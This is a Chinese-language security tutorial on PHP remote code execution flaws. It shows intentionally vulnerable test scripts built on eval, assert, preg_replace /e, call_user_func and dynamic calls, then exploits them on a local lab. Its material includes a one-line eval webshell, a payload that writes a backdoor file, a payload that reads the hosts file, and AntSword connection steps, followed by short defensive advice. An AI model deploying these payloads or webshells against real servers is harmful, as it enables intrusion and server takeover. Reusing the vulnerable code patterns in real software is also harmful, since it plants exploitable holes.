漏洞原理
RCE为两种漏洞的缩写,分别为Remote Command/Code Execute,远程命令/代码执行
PHP代码注入也叫PHP代码执行(Code Execute)(Web方面),是指应用程序过滤不严,用户可以通过HTTP请求将代码注入到应用中执行。代码注入(代码执行)类似于SQL注入漏洞。SQLi是将SQL语句注入到数据库中执行,而代码执行则是可以把代码注入到应用中最终由服务器运行它。这样的漏洞如果没有特殊的过滤,相当于直接有了一个Web后门(可以在服务器上执行任意命令)的存在。
PHP代码注入与SQL注入区别:
双方的注入方式是类似的,都是构造语句绕过服务器的过滤去执行。
区别在于SQL注入是将语句注入到数据库中执行,而PHP代码执行则是通过将代码注入到应用中,最终由服务器运行
造成PHP代码注入前提条件:
程序中含有可以执行PHP代码的函数或者语言结构
传入该函数或语言结构的参数是客户端可控,可以直接修改或造成影响,且应用程序过滤不严。
漏洞危害
Web应用如果存在代码执行漏洞时非常危险的,这样的漏洞如果没有特殊的过滤,相当于直接有一个WEB后门的存在。可以通过代码执行漏洞继承Web用户权限,执行任意代码。如果服务器没有正确配置或Web用户权限比较高的话,我们可以读写目标服务器任意文件内容,甚至控制整个网站以及服务器。
PHP中常见的代码执行函数和语句
PHP中有很多函数和语句都会造成PHP代码执行漏洞。本文以PHP为例子来说明,代码执行漏洞。
● eval() 将字符串当作php 代码执行
● assert() 同样会作为PHP 代码执行
● preg_replace() 当php版本小于7时,当为 /e 时代码会执行
● call_user_func() 回调函数,可以使用is_callable查看是否可以进行调用
● call_user_fuc_array() 回调函数,参数为数组
● create_function() 创建匿名函数
● array_map() 为数组的每个元素应用回调函数
● array_filter() 依次将 array 数组中的每个值传递到 callback函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含,在返回的结果数组中。数组的键名保留不变。
● usort() 使用自定义函数对数组进行排序
一句话木马就是利用的代码执行漏洞:
<?php @eval($_POST[cmd]);?>
eval()
作用: eval()函数会将字符串作为PHP代码执行。
该字符串必须是合法的 PHP 代码。eval函数自带输出功能,不需要再使用echo进行输出。
例子:
<?php
$str="phpinfo();";
eval($str);
?>
在网站根目录下新建codei文件夹,在该文件夹下新建文件eval.php,并写入如上代码
打开浏览器访问该文件,网页显示如下
我们如下修改代码,网页显示如下
<?php
$str="echo md5 (123456);";
eval($str);
?>
总结:通过以上两个例子,我们发现eval函数会将它的参数字符串按照PHP代码去执行
Q:那么eval函数的漏洞体现在哪里呢?
A:我们可以看到$str中的str是一个动态的变量,那如果这个动态的变量$str客户端可控,客户端可控意思就是客户端用户通过一些特殊的方法,这些方法可能是正常的业务,也可能是一些比较不正常的做法,然后造成$str客户端可控。简单来说,客户端可控就是用户的操作会影响到$str的值。
那么我们修改一下代码,让$str可控,代码如下,其中的全局变量$_GET也可以是$_REQUEST等其他预定义超全局数组变量(预定义超全局数组作用:包含了GET参数,POST参数还有COOKIE参数,也就是说get方式,post方式还有cookie方式传递过来的参数这些数组都能接收到)。
<?php
@$str=$_GET['code'];
eval($str);
?>
此时我们再打开浏览器访问,在浏览器中输入参数?code=phpinfo();,(注意要有分号),网页显示如下
综上我们发现,客户端传递过来的phpinfo();这个参数赋值给$str的值,然后$str的值又传到eval()函数当中,最后造成PHP代码注入。
测试代码:
<?php
if(isset($_REQUEST['code'])){
@$str=$_REQUEST['code'];
eval($str);
}
?>
我们接收到的post参数又传给eval()函数去执行,也就是一句话木马
通过浏览器访问上述函数所在网页时,可以通过传递参数该code来执行PHP代码,主要有以上几种:
普通方式提交变量:?code=phpinfo();
以语句块方式提交变量:?code={phpinfo();}
以多语句方式提交参数:?code=1;phpinfo();
危害:如果没有对该函数的参数进行有效准确过滤,其参数将有可能被用户用于注入有害代码
assert
作用: assert()函数也会将字符串作为PHP代码执行。
例子:
<?php
if(isset($_GET['code'])){
@$str=$_GET['code'];
assert($str);
}else{
echo "Please submit code!<br >?code=phpinfo();";
}
?>
在网站根目录下的codei文件夹中新建文件assert.php,文件内容如上,其中的全局变量$_GET还可以是$_REQUEST等其他预定义超全局变量。
打开浏览器访问,可以通过传递参数code来执行PHP代码,主要有以下几种方式:
普通方式提交变量:?code=phpinfo()或者?code=phpinfo();(有无分号都可执行)
tips:与eval()函数有别的是,该函数不能执行传入语句块或多语句作为参数。
preg_replace()
作用:preg_replace()函数能对字符串进行正则处理。
参数和返回值如下:
mixed preg_replace(mixed $pattern, mixed $replacement, mixed $subject [, int limit = -1 [, int &$count]])
#mixed表示函数的返回值可以为混合类型
这段代码的含义是搜索$subject中匹配$pattern的部分,以$replacement进行替换,而当$pattern处,即第一个参数存在e修饰符时,$replacement的值会被当成PHP代码来执行。典型代码如下:
<?php
if (isset($_GET['code'])){ //其中的全局变量\$_GET还可以是\$_REQUEST等其他预定义超全局变量。
$code=$_GET['code'];
preg_replace("/\[(.*)\]/e",'\\1',$code);
}else{
echo"?code=[phpinfo()]";
}
?>
在网站根目录下的codei文件夹下新建文件preg_replace.php,测试代码如上。代码中第一个参数"/\[(.*)\]/e"解析如下,第二个参数'\\1'表示的是正则表达式第一次匹配的内容。
① 在两个/间是要匹配的正则表达式;
②用两个\表示对中括号的转义,也就是说要匹配的内容是中括号内的。
③匹配的内容就是(.*)。其中点表示任意字符,*表示任意多个。
打开浏览器访问,可以通过传递参数code来执行PHP代码,主要有以下几种方式:
普通方式提交变量:?code=[phpinfo();],[]是由于preg_replace的第一个参数有分号
以语句块方式提交变量:?code={[phpinfo();]}
以多语句方式提交参数:?code=1;[phpinfo();]
call_user_func()
call_user_func()等函数都有调用其他函数的功能,其中的一个参数作为要调用的函数名,那如果这个传入的函数名可控,那就可以调用意外的函数来执行我们想要的代码,也就是存在任意代码执行漏洞。
以call_user_func($fun,$para)函数为例,该函数的第一个参数作为回调函数,后面的参数为回调函数的参数,将$para这个参数传递给$fun这个函数去执行。
测试代码如下:
<?php
if(isset($_GET['fun'])){
$fun=$_GET['fun'];//assert
$para=$_GET['para'];//phpinfo()
call_user_func($fun,$para);//assert(phpinfo())
}else{
echo"?fun=assert&para=phpinfo()";
}
?>
#注意,fun不可以取eval,因为eval不是函数,而是语言结构
在网站根目录的codei文件夹下新建文件call_user_func.php,文件内容如上
打开浏览器访问,可以通过传递参数code来执行PHP代码?fun=assert¶=phpinfo()。需注意的是,传入的第一个参数可以是assert()函数而不是eval。(因为eval在PHP当中是属于语言结构,并不属于函数)
动态函数$a($b)
由于PHP的特性原因,PHP函数支持直接由拼接的方式调用,这直接导致了PHP在安全上的控制又加大了难度。不少知名程序中也用到了动态函数的写法,这种写法和使用call_user_func()的初衷一样,用起来更加方便地调用函数,但是一旦过滤不严格就会造成代码执行漏洞。
测试代码如下:
<?php
if(isset($_GET['a'])){
$a=$_GET['a'];
$b=$_GET['b'];
$a($b);
}else{
echo"?a=assert&b=phpinfo()";
}
?>
在网站根目录下的codei文件夹下新建文件dths.php,文件内容如上
打开浏览器访问,可以通过传递参数code来执行PHP代码,?a=assert&b=phpinfo()
PHP代码执行漏洞的利用
代码执行漏洞的利用方式有很多种,以下简单列出几种。
直接获取shell
打开浏览器访问assert.php文件,提交参数[?code=@eval($_REQUEST[cmd]);],即可构成一句话木马,密码为cmd。可以使用中国蚁剑连接。URL为
http://127.0.0.1/codei/assert.php?code=@eval($_REQUEST[cmd])
启动中国蚁剑,在界面空白处右键点击添加数据
提交后可以看到页面多了一条内容,双击可以看到靶机的相关信息。
获取当前文件的绝对路径
__FILE__是PHP预定义常量,其含义为当前文件的路径。
打开浏览器访问assert.php文件,提交参数?code=print(__FILE__);,即可获取当前网页的绝对路径,其他漏洞依次类推。
读文件
我们可以利用file_get_contents()函数读取服务器任意文件,前提是知道目标文件路径和读取权限。
读取服务器的hosts文件(为域名指定IP地址),打开浏览器访问assert.php文件,其中传入参数?code=var_dump(file_get_contents('c:\windows\system32\drivers\etc\hosts'));,即可将目标文件内容显示在页面上。
写文件
我们可以利用file_get_contents()函数,写入文件,该函数的作用在于将第二个参数作为内容写入到第一个参数的文件中。前提是知道可写目录。
打开浏览器访问assert.php文件,其中传入参数为?code=file_put_contents($_REQUEST[1],$_REQUEST[2]);&1=shell.php&2=<?php @eval($_REQUEST['ant']);?>。参数1值为shell.php,参数2值为<?php eval($_POST['ant']); ?>,表示在当前目录下创建文件shell.php(文件内容为参数2的值),并写入一个后门。
继续打开浏览器访问shell.php文件,网址为http://127.0.0.1/codei/shell.php
打开中国蚁剑访问刚刚写入的后门文件,按以下填写参数,并点击添加。
提交后可以看到页面多了一条内容,双击可以看到靶机的相关信息,可管理靶机
PHP代码执行漏洞的防御
保证用户不能轻易接触 eval()函数 的参数或者用正则严格判断输入的数据格式
字符串使用单引号包裹,并在插入前进行 addslashes()
对preg_replace()放弃使用e修饰符,保证第二个参数中对于正则匹配出的对象,用单引号包裹